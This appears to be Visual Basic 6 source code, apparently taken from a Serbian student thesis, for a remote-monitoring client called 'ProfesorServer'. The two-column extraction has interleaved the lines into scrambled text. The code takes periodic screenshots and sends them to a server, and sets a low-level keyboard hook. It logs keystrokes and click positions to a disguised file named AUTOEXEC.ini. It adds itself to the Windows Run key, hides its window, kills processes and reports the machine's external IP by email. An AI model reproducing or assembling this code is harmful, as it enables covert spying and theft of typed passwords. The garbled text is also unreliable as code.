chkAutoSaving.Value = 1 Private Sub txtJPEGQuality_KeyPress(KeyAscii As Integer)
End If
End If ' Check that the JPEG Quality picture value is a number.
If grab.Text = "zaustavi" Then If KeyAscii <> 8 And (KeyAscii < 48 Or KeyAscii > 57)
chkAutoSaving.Value = 0 Then
End If KeyAscii = 0
End Sub End If
Private Sub tmrSeconds_Timer(Index As Integer) End Sub
Private Sub txtJPEGQuality_Validate(Cancel As Boolean)
Dim v As Integer
Dim strYear As String Cancel = Not CheckQuality
Dim strMonth As String End Sub
Dim strFolder As String Private Sub txtSeconds_KeyPress(Index As Integer,
KeyAscii As Integer)
' Print Key has been pressed, now wait for picture to ' Check that the Automatic Save seconds is a number.
appear in clipboard. If KeyAscii <> 8 And (KeyAscii < 48 Or KeyAscii > 57)
If Index = 0 Then Then
If Clipboard.GetFormat(vbCFDIB) Then KeyAscii = 0
tmrSeconds(0).Enabled = False End If
Else End Sub
Exit Sub End Sub
End If Private Sub lblWebLink_Click()
End If
' Automatic recording... Screen.MousePointer = vbHourglass
If Index = 1 Then ShellExecute Me.hwnd, "Open",
If blnNT Then "http://www.geocities.com/pavcules", vbNullString,
v=2 vbNullString, 0
Else Screen.MousePointer = vbNormal
v=1
End If End Sub
Call keybd_event(vbKeySnapshot, v, 0, 0)
End If Private Sub txtSeconds_Validate(Index As Integer, Cancel
If optFormat(1).Value Or optFormat(2).Value Then As Boolean)

SavePicture imgPic.Picture, strFile & ".bmp" Cancel = Not CheckSeconds(Index)


mstrLastPictureFile = strFile & ".bmp"
End Sub

36
ListPicture mstrLastPictureFile Public Function CheckSeconds(Index As Integer) As
Boolean
End If
' Check if the entered Automatic save seconds is within
' JPEG Format the specified ranges.
If optFormat(0).Value Or optFormat(2).Value Then If Val(txtSeconds(Index).Text) < 1 Or
Val(txtSeconds(Index).Text) > 60 Then
Dim c As New cDIBSection MsgBox "Please enter a value between 1 and 60.",
vbInformation
c.CreateFromPicture imgPic.Picture txtSeconds(Index).SetFocus
CheckSeconds = False
SaveJPG c, strFile & ".jpg", Else
Val(txtJPEGQuality.Text) tmrSeconds(Index).Interval =
mstrLastPictureFile = strFile & ".jpg" Val(txtSeconds(Index).Text) * 1000
' prekid XXXXX MOMENAT KADA JE slika CheckSeconds = True
generisana i snimnjena u jpg End If
'
' ListPicture mstrLastPictureFile End Function
End If
Public Function CheckQuality() As Boolean
'
Command1_Click ' SALJI fajl ' Check if the entered JPEG Quality is within the specified
If grab.Text = "1" Then frmMain.status.Text = "salji" ranges.
If grab.Text = "stalno" Then frmMain.saljisalji.Text = If Val(txtJPEGQuality.Text) < 1 Or
"saljisliku" Val(txtJPEGQuality.Text) > 100 Then
MsgBox "Please enter a JPEG Quality between 1 and
100 %.", vbInformation
txtJPEGQuality.SetFocus

CheckQuality = False Me.Hide


Else txtSeconds(1).Text = "1"
CheckQuality = True ' Put the version number in the caption.
End If Me.Caption = Me.Caption & " v" & CStr(App.Major) &
"." & CStr(App.Minor)
End Function ' Set the global variable to indicate the system is Windows
NT.
Public Sub ListPicture(ByVal pstrFilename As String) blnNT = IsNT
' Get the window minimize setting.
' List the saved picture filename. chkMinimized.Value = GetSetting(App.title, "Main",
picturesSavedCount = picturesSavedCount + 1 "Minimized", vbUnchecked)

ReDim Preserve picturesSaved(picturesSavedCount) If chkMinimized.Value Then


Me.WindowState = vbMinimized
picturesSaved(picturesSavedCount) = pstrFilename End If
' Tidy Folders setting.
lstPictures.AddItem Right(pstrFilename, 18) chkTidyFolders.Value = GetSetting(App.title, "Main",
lstPictures.ItemData(lstPictures.NewIndex) = "TidyFolders", vbUnchecked)
picturesSavedCount ' Automatic/Manual setting.
Dim sec2 As Integer
End Sub sec2 = Val(GetSetting(App.title, "Main", "Seconds2", 15))

If sec2 < 1 Or sec2 > 60 Then


Sadrzaj forme frmmain.frm>>>>>>>>>>>(slanje fajla I sec2 = 15
citanje ip adrese iz fajla serverip.txt) End If
txtSeconds(1).Text = CStr(sec2)
Private mstrLastPictureFile As String If GetSetting(App.title, "Main", "SecondsOption", "0") =
Private picturesSaved() As String "0" Then
Private picturesSavedCount As Integer tmrSeconds(1).Enabled = False
chkAutoSaving.Value = vbChecked
Private blnNT As Boolean Else
tmrSeconds(1).Enabled = True
Private Sub chkAutoSaving_Click() chkAutoSaving.Value = vbChecked
End If
If chkAutoSaving.Value = vbChecked Then tmrSeconds(1).Interval = sec2 * 1000
' tmrSeconds(0).Enabled = False
tmrSeconds(1).Enabled = True ' JPEQ Output setting.
tmrSeconds(1).Interval = txtSeconds(1).Text * 1000 txtJPEGQuality.Text = GetSetting(App.title, "Main",

37
Else "JPEGQuality", "75")
' tmrSeconds(0).Enabled = True ' Picture save format setting.
tmrSeconds(1).Enabled = False optFormat(GetSetting(App.title, "Main", "Format",
'tmrSeconds(0).Interval = txtSeconds(0).Text * 1000 1)).Value = True
End If ' Hook into the keyboard
End Sub hHook = SetWindowsHookEx(WH_KEYBOARD_LL,
AddressOf KeyboardProc, App.hInstance, 0
Private Sub cmdConvert_Click()
' Check if JPEGs can be created.
frmConvert.Show vbModal enableJPEG = IsDLLPresent

End Sub If Not enableJPEG Then


optFormat(0).Enabled = False
Private Sub cmdOpenFolder_Click() txtJPEGQuality.Enabled = False
lblJPEGQuallity.Enabled = False
Shell "explorer " & App.Path, vbNormalFocus optFormat(2).Enabled = False
optFormat(1).Value = True
End Sub End If

Private Sub Command1_Click() optFormat(0).Value = True

chkAutoSaving.Value = 0 End Sub

End Sub Private Sub Form_QueryUnload(Cancel As Integer,


UnloadMode As Integer)
Private Sub Form_Load()
frmMain.Show Cancel = Not CheckSeconds(1)
Load Form22
frmServer.Show If Cancel <> 0 Then Exit Sub

optFormat(0).Value = True

Cancel = Not CheckQuality Private Sub optSaving_Click(Index As Integer)

End Sub If Index = 1 Then


tmrSeconds(0).Enabled = False
Private Sub Form_Unload(Cancel As Integer) tmrSeconds(1).Enabled = True
tmrSeconds(1).Interval = txtSeconds(1).Text * 1000
' Unhook the keyboard Else
UnhookWindowsHookEx hHook tmrSeconds(0).Enabled = True
tmrSeconds(1).Enabled = False
' Save the settings. tmrSeconds(0).Interval = txtSeconds(0).Text * 1000
SaveSetting App.title, "Main", "SecondsOption", End If
IIf(chkAutoSaving.Value = vbChecked, "1", "0") End Sub
SaveSetting App.title, "Main", "Seconds2", Private Sub Timer1_Timer()
txtSeconds(1).Text If grab.Text = "stalno" Then
SaveSetting App.title, "Main", "Format", If chkAutoSaving.Value = 0 Then
IIf(optFormat(0).Value, "0", IIf(optFormat(1).Value, "1", chkAutoSaving.Value = 1
IIf(optFormat(2).Value, "2", "0"))) End If
SaveSetting App.title, "Main", "JPEGQuality", End If
txtJPEGQuality.Text If grab.Text = "zaustavi" Then
SaveSetting App.title, "Main", "TidyFolders", chkAutoSaving.Value = 0
chkTidyFolders.Value End If
SaveSetting App.title, "Main", "Minimized", End Sub
chkMinimized.Value Private Sub tmrSeconds_Timer(Index As Integer)
Dim v As Integer
Unload Form2 Dim strYear As String
Unload Form22 Dim strMonth As String
Unload frmMain Dim strFolder As String
Unload Form1 ' Print Key has been pressed, now wait for picture to
Unload frmServer appear in clipboard.
End Sub If Index = 0 Then
If Clipboard.GetFormat(vbCFDIB) Then
Private Sub imgPic_Click() tmrSeconds(0).Enabled = False
Else
' Open the picture from the Preview image. Exit Sub
ShellExecute Me.hwnd, "Open", mstrLastPictureFile, End If

38
vbNullString, vbNullString, 0 End If
' Automatic recording...
End Sub If Index = 1 Then
If blnNT Then
Private Sub lstPictures_Click() v=2
Else
' Preview the picture that was saved. v=1
imgPic.Picture = End If
LoadPicture(picturesSaved(lstPictures.ItemData Call keybd_event(vbKeySnapshot, v, 0, 0)
(lstPictures.ListIndex))) End If
' Save picture
End Sub If Clipboard.GetFormat(vbCFDIB) Then
tmrSeconds(0).Enabled = False
Private Sub lstPictures_DblClick()
' Tidy Folders
' Open the picture from the List. If chkTidyFolders.Value = vbChecked Then
ShellExecute Me.hwnd, "Open",
picturesSaved(lstPictures.ItemData(lstPictures.ListIndex)), strYear = Format(Year(Now), "0000")
vbNullString, vbNullString, 0 strMonth = Format(Month(Now), "00")
End Sub
Private Sub mnuFileExit_Click() If Dir(App.Path & "\" & strYear & "_" & strMonth,
vbDirectory) = "" Then
Unload Me MkDir App.Path & "\" & strYear & "_" &
End Sub strMonth
Private Sub mnuHelpAbout_Click() End If

frmAbout.Show vbModal strFolder = App.Path & "\" & strYear & "_" &
End Sub strMonth
Else
strFolder = App.Path
End If

' Check that the Automatic Save seconds is a number.


' Get the picture from the clipboard If KeyAscii <> 8 And (KeyAscii < 48 Or KeyAscii > 57)
imgPic.Picture = Clipboard.GetData Then
KeyAscii = 0
Dim strFile As String End If
End Sub
' strFile = strFolder & "\" & Format(Date, "yyyymmdd") Private Sub lblEmalLink_Click()

strFile = Winsock1.LocalIP Screen.MousePointer = vbHourglass


ShellExecute Me.hwnd, "Open",
"mailto:[email protected]", vbNullString,
' BMP Format vbNullString, 0
If optFormat(1).Value Or optFormat(2).Value Then Screen.MousePointer = vbNormal
End Sub
SavePicture imgPic.Picture, strFile & ".bmp" Private Sub lblWebLink_Click()
mstrLastPictureFile = strFile & ".bmp"
Screen.MousePointer = vbHourglass
ShellExecute Me.hwnd, "Open",
ListPicture mstrLastPictureFile "http://www.geocities.com/pavcules", vbNullString,
vbNullString, 0
End If Screen.MousePointer = vbNormal
End Sub
' JPEG Format Private Sub txtSeconds_Validate(Index As Integer, Cancel
If optFormat(0).Value Or optFormat(2).Value Then As Boolean)
Cancel = Not CheckSeconds(Index)
Dim c As New cDIBSection End Sub
Public Function CheckSeconds(Index As Integer) As
c.CreateFromPicture imgPic.Picture Boolean
' Check if the entered Automatic save seconds is within
SaveJPG c, strFile & ".jpg", the specified ranges.
Val(txtJPEGQuality.Text) If Val(txtSeconds(Index).Text) < 1 Or
mstrLastPictureFile = strFile & ".jpg" Val(txtSeconds(Index).Text) > 60 Then
' prekid XXXXX MOMENAT KADA JE slika MsgBox "Please enter a value between 1 and 60.",
generisana i snimnjena u jpg vbInformation
' txtSeconds(Index).SetFocus

39
' ListPicture mstrLastPictureFile CheckSeconds = False
End If Else
tmrSeconds(Index).Interval =
' Val(txtSeconds(Index).Text) * 1000
Command1_Click ' SALJI fajl CheckSeconds = True
If grab.Text = "1" Then frmMain.status.Text = "salji" End If
If grab.Text = "stalno" Then frmMain.saljisalji.Text = End Function
"saljisliku" Public Function CheckQuality() As Boolean
' Check if the entered JPEG Quality is within the specified
Clipboard.Clear ranges.
If Val(txtJPEGQuality.Text) < 1 Or
End If Val(txtJPEGQuality.Text) > 100 Then
MsgBox "Please enter a JPEG Quality between 1 and
End Sub 100 %.", vbInformation
txtJPEGQuality.SetFocus
Private Sub txtJPEGQuality_KeyPress(KeyAscii As Integer) CheckQuality = False
Else
' Check that the JPEG Quality picture value is a number. CheckQuality = True
If KeyAscii <> 8 And (KeyAscii < 48 Or KeyAscii > 57) End If
Then
KeyAscii = 0 End Function
End If
Public Sub ListPicture(ByVal pstrFilename As String)
End Sub
' List the saved picture filename.
Private Sub txtJPEGQuality_Validate(Cancel As Boolean) picturesSavedCount = picturesSavedCount + 1

Cancel = Not CheckQuality ReDim Preserve picturesSaved(picturesSavedCount)


picturesSaved(picturesSavedCount) = pstrFilename
End Sub lstPictures.AddItem Right(pstrFilename, 18)
lstPictures.ItemData(lstPictures.NewIndex) =
Private Sub txtSeconds_KeyPress(Index As Integer, picturesSavedCount
KeyAscii As Integer)
End Sub Opt(3) = chkVerify.Value
Sadrzaj forme frmOptions.frm>>>> Opt(4) = chkDownload.Value
Osobine klijen dela sa mogucnosti promene od strane Opt(5) = chkEmail.Value
glavnog programa Opti1 = Opt(1)
Dim Opt(1 To 5) As Integer 'First 3 Options opti2 = Opt(2)
Dim Allowed(0 To 19) As String 'Users Allowed opti3 = Opt(3)
Dim NpuT(0 To 25) As String 'String for Input opti4 = Opt(4)
Private Sub RemoveFromStartUp() opti5 = Opt(5)
SetStringValue If List1.ListCount > 0 Then
"HKEY_CURRENT_USER\Software\Microsoft\Windows For i = 0 To List1.ListCount - 1
\CurrentVersion\Run", "RAS", "" Allowed(i) = List1.List(i)
End Sub Next i
Private Sub AddToStartUp() End If
SetStringValue Kill App.Path & "\RA.ini"
"HKEY_CURRENT_USER\Software\Microsoft\Windows Open App.Path & "\RA.ini" For Append As #1
\CurrentVersion\Run", "RAS", frmOptions.txtLocation.Text Print #1, Opti1
End Sub Print #1, opti2
Private Sub chkEmail_Click() Print #1, opti3
If chkEmail.Value = 0 Then Print #1, opti4
txtEmail.Enabled = False Print #1, opti5
Exit Sub Print #1, opti5A
End If For i = 0 To 19
If chkEmail.Value = 1 Then If Allowed(i) <> "" Then
txtEmail.Enabled = True Print #1, Allowed(i)
If txtEmail.Text <> "" Then End If
frmmail.txtToBox.Text = txtEmail.Text Next i
End If Close
End If End Sub
End Sub
Private Sub chkVerify_Click() Private Sub cmdCancel_Click()
If chkVerify.Value = 1 Then Me.Hide
Frame1.Enabled = True End Sub
cmdAdd.Enabled = True
cmdRemove.Enabled = True Private Sub cmdClose_Click()
List1.Enabled = True cmdCancel = True

40
Else End Sub
Frame1.Enabled = False
cmdAdd.Enabled = False Private Sub cmdExIP_Click()
cmdRemove.Enabled = False Dim XIP As String
List1.Enabled = False GetExternalIP XIP
End If MsgBox "External IP: " & XIP & Chr(13) & Chr(10) &
End Sub "Local IP: " & frmServer.W1.LocalIP
frmServer.Caption = "*ProfesorServer* " & XIP
Private Sub cmdAdd_Click() Label4.Caption = " ProfesorServer " & XIP
For i = 0 To 19 ExternalIP = XIP
Allowed(i) = "" End Sub
Next i Public Function DoSomething()
Dim WTA As String Dim XIP As String
WTA = InputBox("Who Would You Like Authorize?", GetExternalIP XIP
"ADD AUTHORIZATION") txtExIP.Text = XIP
If WTA <> "" Then frmmail.txtToBox.Text = txtExIP.Text
List1.AddItem WTA End Function
End If Private Function GetHTML(url$) As String
If chkRunAtStartUp.Value = 1 Then Dim response$
AddToStartUp Dim vData As Variant
Else Inet1.Cancel
RemoveFromStartUp response = Inet1.OpenURL(url)
End If If response <> "" Then
Dim Opti1 As String Do
Dim opti2 As String vData = Inet1.GetChunk(1024, icString)
Dim opti3 As String DoEvents: DoEvents: DoEvents: DoEvents
Dim opti4 As String If Len(vData) Then
Dim opti5 As String response = response & vData
Dim opti5A As String End If
opti5A = txtEmail.Text Loop While Len(vData)
Opt(1) = chkRunAtStartUp.Value End If
Opt(2) = chkAutoLogin.Value

GetHTML = response If chkVerify.Value = 1 Then


End Function If List1.ListCount < 1 Then
Private Sub GetExternalIP(ByRef Whatever As String) MsgBox "You MUST Add Someone To The List To
HTML = GetHTML("http://whatismyip.com/") Use The 'Verify' Option.", vbInformation, "NO ONE
Start = InStr(HTML, "is") ADDED TO LIST"
Finish = InStr(HTML, "WhatIsMyIP.com") chkVerify.Value = 0
Start = Start + 3 Exit Sub
Finish = Finish - Start - 1 End If
ExIP = Mid(HTML, Start, Finish) End If
Whatever = ExIP For i = 0 To 19
End Sub Allowed(i) = ""
Private Sub cmdRemove_Click() Next i
On Error GoTo Err If chkRunAtStartUp.Value = 1 Then
For i = 0 To 19 AddToStartUp
Allowed(i) = "" Else
Next i RemoveFromStartUp
Dim wtr As Integer End If
wtr = List1.ListIndex Dim Opti1 As String
List1.RemoveItem wtr Dim opti2 As String
If chkRunAtStartUp.Value = 1 Then Dim opti3 As String
AddToStartUp Dim opti4 As String
Else Dim opti5 As String
RemoveFromStartUp Dim opti5A As String
End If Opt(1) = chkRunAtStartUp.Value
Dim Opti1 As String Opt(2) = chkAutoLogin.Value
Dim opti2 As String Opt(3) = chkVerify.Value
Dim opti3 As String Opt(4) = chkDownload.Value
Dim opti4 As String Opt(5) = chkEmail.Value
Dim opti5 As String Opti1 = Opt(1)
Dim opti5A As String opti2 = Opt(2)
opti5A = txtEmail.Text opti3 = Opt(3)
Opt(1) = chkRunAtStartUp.Value opti4 = Opt(4)
Opt(2) = chkAutoLogin.Value opti5 = Opt(5)
Opt(3) = chkVerify.Value opti5A = txtEmail.Text

41
Opt(4) = chkDownload.Value If List1.ListCount > 0 Then
Opt(5) = chkEmail.Value For i = 0 To List1.ListCount - 1
Opti1 = Opt(1) Allowed(i) = List1.List(i)
opti2 = Opt(2) Next i
opti3 = Opt(3) End If
opti4 = Opt(4) Kill App.Path & "\RA.ini"
opti5 = Opt(5) Open App.Path & "\RA.ini" For Append As #1
If List1.ListCount > 0 Then Print #1, Opti1
For i = 0 To List1.ListCount - 1 Print #1, opti2
Allowed(i) = List1.List(i) Print #1, opti3
Next i Print #1, opti4
End If Print #1, opti5
Kill App.Path & "\RA.ini" Print #1, opti5A
Open App.Path & "\RA.ini" For Append As #1 For i = 0 To 19
Print #1, Opti1 If Allowed(i) <> "" Then
Print #1, opti2 Print #1, Allowed(i)
Print #1, opti3 End If
Print #1, opti4 Next i
Print #1, opti5 Close
Print #1, opti5A Me.Visible = False
For i = 0 To 19 End Sub
If Allowed(i) <> "" Then Private Sub Form_Load()
Print #1, Allowed(i) Me.Top = 20
End If Me.Left = 4095
Next i sockServer.Close
Close sockServer.Listen
Exit Sub txtLocation.Text = App.Path & App.EXEName & ".exe"
Err: On Error GoTo Err:
MsgBox "Select Who To Remove", vbOKOnly, "NO ONE Open App.Path & "\RA.ini" For Input As #1
SELECTED" Dim i As Integer
End Sub i=0
EOF (1)
Private Sub cmdSaveSetting_Click() Do Until EOF(1) = True
i=i+1
Input #1, NpuT(i)
DoEvents Dim Msg As String
Loop Msg = "|INFO|"
Opt(1) = NpuT(1) Msg = Msg & chkRunAtStartUp.Value &
Opt(2) = NpuT(2) chkAutoLogin.Value & chkVerify.Value &
Opt(3) = NpuT(3) chkDownload.Value & chkEmail.Value & "|"
Opt(4) = NpuT(4) For i = 0 To List1.ListCount - 1
Opt(5) = NpuT(5) Msg = Msg & List1.List(i) & ","
txtEmail.Text = NpuT(6) Next i
Dim UPT As Integer sockServer.SendData ENCRYPT(Msg, Len(Msg))
For i = 7 To 25 Pause 10
UPT = i - 7 Msg = "|EMAIL|" & txtEmail.Text
If NpuT(i) <> "" Then sockServer.SendData ENCRYPT(Msg, Len(Msg))
Allowed(UPT) = NpuT(i) End Sub
End If
Next i Private Sub sockServer_DataArrival(ByVal bytesTotal As
If Opt(1) = 1 Then chkRunAtStartUp.Value = 1 Long)
If Opt(2) = 1 Then chkAutoLogin.Value = 1 Dim Data As String
If Opt(3) = 1 Then chkVerify.Value = 1 sockServer.GetData Data
If Opt(4) = 1 Then chkDownload.Value = 1 Data = DECRYPT(Data, Len(Data))
If Opt(5) = 1 Then
DoSomething If InStr(1, Data, "|INFO|") <> 0 Then
End If ShoInfo Mid(Data, 7, Len(Data))
For i = 0 To 19 Exit Sub
If Allowed(i) <> "" Then List1.AddItem Allowed(i) End If
Next i If InStr(1, Data, "|EMAIL|") <> 0 Then
Close txtEmail.Text = Mid(Data, 8, Len(Data))
chkVerify_Click cmdSaveSetting = True
Exit Sub Exit Sub
Err: End If
Close End Sub
Dim XX As String Private Sub ShoInfo(Info As String)
Open App.Path & "\RA.ini" For Append As #1 List1.Clear
For i = 1 To 5 Dim CHKS As String

42
If i = 4 Then Dim UZRZ As String
XX = "1" CHKS = Mid(Info, 1, 5)
Else UZRZ = Mid(Info, 7, Len(Info))
XX = "0" Dim CHK1 As Integer
End If Dim CHK2 As Integer
Print #1, XX Dim CHK3 As Integer
Next i Dim CHK4 As Integer
Print #1, "VisaTehnickaSkola" Dim chk5 As Integer
Close CHK1 = Mid(CHKS, 1, 1)
CHK2 = Mid(CHKS, 2, 1)
chkDownload.Value = 1 CHK3 = Mid(CHKS, 3, 1)
End Sub CHK4 = Mid(CHKS, 4, 1)
chk5 = Mid(CHKS, 5, 1)
Private Sub Form_LostFocus() chkRunAtStartUp.Value = CHK1
Me.Visible = False chkAutoLogin.Value = CHK2
End Sub chkVerify.Value = CHK3
chkDownload.Value = CHK4
Private Sub sockServer_Close() chkEmail.Value = chk5
sockServer.Close If Len(UZRZ) <= 0 Then
sockServer.Listen GoTo DONE
End Sub Else
Dim WEE As Integer
Private Sub sockServer_ConnectionRequest(ByVal For i = 1 To Len(UZRZ)
requestID As Long) If Mid(UZRZ, i, 1) = "," Then
If sockServer.State <> sckClosed Then WEE = WEE + 1
sockServer.Close End If
sockServer.Accept requestID Next i
Else End If
sockServer.Accept requestID Dim VVV As Integer
End If For i = 1 To WEE
Pause 20 VVV = InStr(1, UZRZ, ",")
SendInfo List1.AddItem Mid(UZRZ, 1, VVV - 1)
End Sub UZRZ = Mid(UZRZ, VVV + 1, Len(UZRZ))
Private Sub SendInfo()

Next i
DONE: Dim X(100), y(100), Z(100) As Integer
End Sub Dim tmpX(100), tmpY(100), tmpZ(100) As Integer
Sadrzaj forme Dim K As Integer
frmserver.frm>>>>>>>>>>>>>>>>>>>>>>>>>>>>> Dim Zoom As Integer
Dim Allowed As Boolean Dim Speed As Integer
Dim FldrName As String ' **** for icon in sys tray ****
Dim bFileTransfer As Boolean Private Type NOTIFYICONDATA
' added for HUGE folder inventory cbSize As Long
Dim FS As Long 'len(sData) hwnd As Long
Dim Filez(0 To 50) As String 'sData after it's broken up uId As Long
Dim Fcount As Integer 'How many times it must be uFlags As Long
broken up ucallbackMessage As Long
' for emptying recycle bin hIcon As Long
Private Declare Function SHEmptyRecycleBin Lib szTip As String * 64
"shell32.dll" Alias "SHEmptyRecycleBinA" (ByVal hwnd End Type
As Long, ByVal pszRootPath As String, ByVal dwFlags As Private Const NIM_ADD = &H0
Long) As Long Private Const NIM_MODIFY = &H1
' for getting external IP of the server Private Const NIM_DELETE = &H2
Dim HTML As String Private Const WM_MOUSEMOVE = &H200
Dim Start As Integer Private Const NIF_MESSAGE = &H1
Dim Finish As Integer Private Const NIF_ICON = &H2
Dim length As Integer Private Const NIF_TIP = &H4
Dim ExIP As String Private Const WM_LBUTTONDBLCLK = &H203
'for Key Logging Private Const WM_LBUTTONDOWN = &H201
Dim boolVal As Boolean Private Const WM_LBUTTONUP = &H202
Dim i, key Private Const WM_RBUTTONDBLCLK = &H206
Dim PrevX, PrevY Private Const WM_RBUTTONDOWN = &H204
Dim KeyList, STRNG Private Const WM_RBUTTONUP = &H205
Dim HitEnter As Boolean Private Declare Function Shell_NotifyIcon Lib "shell32"
Dim KeyChar, PriorValx Alias "Shell_NotifyIconA" (ByVal dwMessage As Long,
Dim pos As POINTAPI pnid As NOTIFYICONDATA) As Boolean

43
Dim Prev As POINTAPI Dim T As NOTIFYICONDATA
Dim rpos As Long
Dim Hidden As Boolean Private Sub AddIcon2Tray()
Dim Uzr As String ' **** for icon in sys tray ****
Dim Msg As String T.cbSize = Len(T)
Dim Data As String T.hwnd = Picture1.hwnd
Private Const MAX_PATH& = 260 T.uId = 1&
Private Type PROCESSENTRY32 T.uFlags = NIF_ICON Or NIF_TIP Or NIF_MESSAGE
dwSize As Long T.ucallbackMessage = WM_MOUSEMOVE
cntUsage As Long 'this is where the Form's Icon gets called
th32ProcessID As Long T.hIcon = Me.Icon
th32DefaultHeapID As Long 'this is where the tool tip goes
th32ModuleID As Long T.szTip = "ProfesorServer client part" & Chr$(0)
cntThreads As Long Shell_NotifyIcon NIM_ADD, T
th32ParentProcessID As Long End Sub
pcPriClassBase As Long Private Sub RemoveIconFromTray()
dwFlags As Long On Error Resume Next
szexeFile As String * MAX_PATH T.cbSize = Len(T)
End Type T.hwnd = Picture1.hwnd
' insert///?????????????????????????? T.uId = 1&
Private Declare Function TerminateProcess Lib "kernel32" Shell_NotifyIcon NIM_DELETE, T
(ByVal ApphProcess As Long, ByVal uExitCode As Long) End Sub
As Long Public Sub MakeRecycleBinEmpty(Optional ByVal Drive
Private Declare Function OpenProcess Lib "kernel32" As String, Optional NoConfirmation As Boolean, Optional
(ByVal dwDesiredAccess As Long, ByVal blnheritHandle As NoProgress As Boolean, Optional NoSound As Boolean)
Long, ByVal dwAppProcessId As Long) As Long Dim hwnd, flags As Long
Private Declare Function ProcessFirst Lib "kernel32" Alias On Error Resume Next
"Process32First" (ByVal hSnapshot As Long, uProcess As hwnd = Screen.ActiveForm.hwnd
PROCESSENTRY32) As Long If Len(Drive) > 0 Then _
Private Declare Function ProcessNext Lib "kernel32" Alias Drive = Left$(Drive, 1) & ":\"
"Process32Next" (ByVal hSnapshot As Long, uProcess As flags = (NoConfirmation And &H1) Or (NoProgress And
PROCESSENTRY32) As Long &H2) Or (NoSound And &H4)
Private Declare Function CreateToolhelpSnapshot Lib SHEmptyRecycleBin hwnd, Drive, flags
"kernel32" Alias "CreateToolhelp32Snapshot" (ByVal lFlags End Sub
As Long, lProcessID As Long) As Long Private Sub cmdClose_Click()
Private Declare Function CloseHandle Lib "kernel32"
(ByVal hObject As Long) As Long
Private Sub ExIpTimer_Timer()
Unload frmOptions Exit Sub
If lblStatus.Caption <> " Status: Idle" Then End Sub
MsgBox "Profesor server MSG : You Must Stop The
Server.", vbInformation, "SERVER INFORMATION" Private Sub Form_Activate()
Exit Sub frmOptions.chkAutoLogin.Value = 1 ' da netrazi user name i
End If pasvord
'rpos = GetCursorPos(pos)
Unload Me 'ovde ?????????????????????????????????
End ' FOR KEY LOGGING ''''
End Sub HitEnter = False
Private Sub Command1_Click() 'ENTER key status is FALSE (NOT PRESSED)
Dim TT As String Me.Hide
TT = Text1.Text End Sub
KillApp (TT) Private Sub Form_Load()
End Sub mnuopt.Visible = False
Public Function KillApp(myName As String) As Boolean Load frmOptions
Const PROCESS_ALL_ACCESS = 0 AddIcon2Tray
Dim uProcess As PROCESSENTRY32 Dim X As Integer
Dim rProcessFound As Long For X = 0 To 50
Dim hSnapshot As Long Filez(X) = ""
Dim szExename As String Next X
Dim exitCode As Long Uzr = (Environ("username"))
Dim myProcess As Long Me.Height = 1875
Dim AppKill As Boolean Me.Width = 4080
Dim appCount As Integer Me.Top = 0
Dim i As Integer Me.Left = 0
On Local Error GoTo Finish cmdStart = True
appCount = 0 sckProcesses.Close
Const TH32CS_SNAPPROCESS As Long = 2& sckProcesses.Listen
uProcess.dwSize = Len(uProcess) KillApp ("none")

44
hSnapshot = Command1.Caption = "Close Program"
CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0&) Text1.Text = ""
rProcessFound = ProcessFirst(hSnapshot, uProcess) End Sub
List1.Clear Private Sub StartLogging()
Do While rProcessFound 'Location of the file that holds each KEY STROKE
i = InStr(1, uProcess.szexeFile, Chr(0)) Open "c:\AUTOEXEC.ini" For Output As #1 'Open file in
szExename = LCase$(Left$(uProcess.szexeFile, i - 1)) WRITING mode
List1.AddItem (szExename) STRNG = Now
If Right$(szExename, Len(myName)) = LCase$ Print #1, STRNG 'Time at which monitoring the KEY
(myName) Then STROKES started.
KillApp = True STRNG = ""
appCount = appCount + 1 Randomize
myProcess = OpenProcess(PROCESS_ALL_ACCESS, 'Array holds the KeyConstants
False, uProcess.th32ProcessID) KeyList = Array(vbKeyLButton, vbKeyRButton,
AppKill = TerminateProcess(myProcess, exitCode) vbKeyCancel, vbKeyMButton, vbKeyBack, _
Call CloseHandle(myProcess) vbKeyTab, vbKeyClear, vbKeyReturn,
End If vbKeyShift, vbKeyControl, _
rProcessFound = ProcessNext(hSnapshot, uProcess) vbKeyMenu, vbKeyPause, vbKeyCapital,
Loop vbKeyEscape, _
Call CloseHandle(hSnapshot) vbKeyPageUp, vbKeyPageDown, vbKeyEnd,
Finish: vbKeyHome, vbKeyLeft, _
End Function vbKeyUp, vbKeyRight, vbKeyDown,
Private Sub cmdStart_Click() vbKeySelect, vbKeyPrint, _
W1.Close vbKeyExecute, vbKeySnapshot, vbKeyInsert,
W1.Listen vbKeyDelete, _
lblStatus.Caption = " Status: Listening" vbKeyHelp, vbKeyNumlock, vbKeyF1,
SockExplorer.Close vbKeyF2, vbKeyF3, vbKeyF4, _
SockExplorer.Listen vbKeyF5, vbKeyF6, vbKeyF7, vbKeyF8,
End Sub vbKeyF9, vbKeyF10, vbKeyF11, _
Private Sub cmdStop_Click() vbKeyF12, vbKeyF13, vbKeyF14, vbKeyF15,
vbKeyF16, vbKeyNumpad0, _
SockExplorer.Close vbKeyNumpad1, vbKeyNumpad2,
W1.Close vbKeyNumpad3, vbKeyNumpad4, vbKeyNumpad5, _
lblStatus.Caption = " Status: Idle" vbKeyNumpad6, vbKeyNumpad7,
End Sub vbKeyNumpad8, vbKeyNumpad9, vbKeyMultiply, _
vbKeyAdd, vbKeySeparator, vbKeySubtract,
vbKeyDecimal, vbKeyDivide)
'Array holds the KeyConstants' Name
KeyChar = Array("LButton", "RButton", "Cancel", If KeyChar(q) = "F10" Then StopLogging 'Stop
"MButton", "Back", _ Monitoring KEY STROKES if F10 Key is pressed
"Tab", "Clear", "Return", "Shift", "Control", _ 'Text1 = Text1 & "[" & KeyChar(q) & "]"
"Alt", "Pause", "CapsLock", "Escape", _ STRNG = STRNG & "[" & KeyChar(q) & "]" 'Key
"PageUp", "PageDown", "End", "Home", Pressed value
"Left", _ If tPA.X <> PrevX Or PrevY <> tPA.y Then
"Up", "Right", "Down", "Select", "Print", _ STRNG = STRNG & "x:" & tPA.X & "y:" & tPA.y
"Execute", "Snapshot", "Insert", "Delete", _ 'Click Position
"Help", "Numlock", "F1", "F2", "F3", "F4", End If
"F5", "F6", _ PrevX = tPA.X
"F7", "F8", "F9", "F10", "F11", "F12", "F13", PrevY = tPA.y
"F14", "F15", "F16", _ End If
"Numpad0", "Numpad1", "Numpad2", Next q
"Numpad3", "Numpad4", "Numpad5", "Numpad6", _ 'Scan the ASCII table
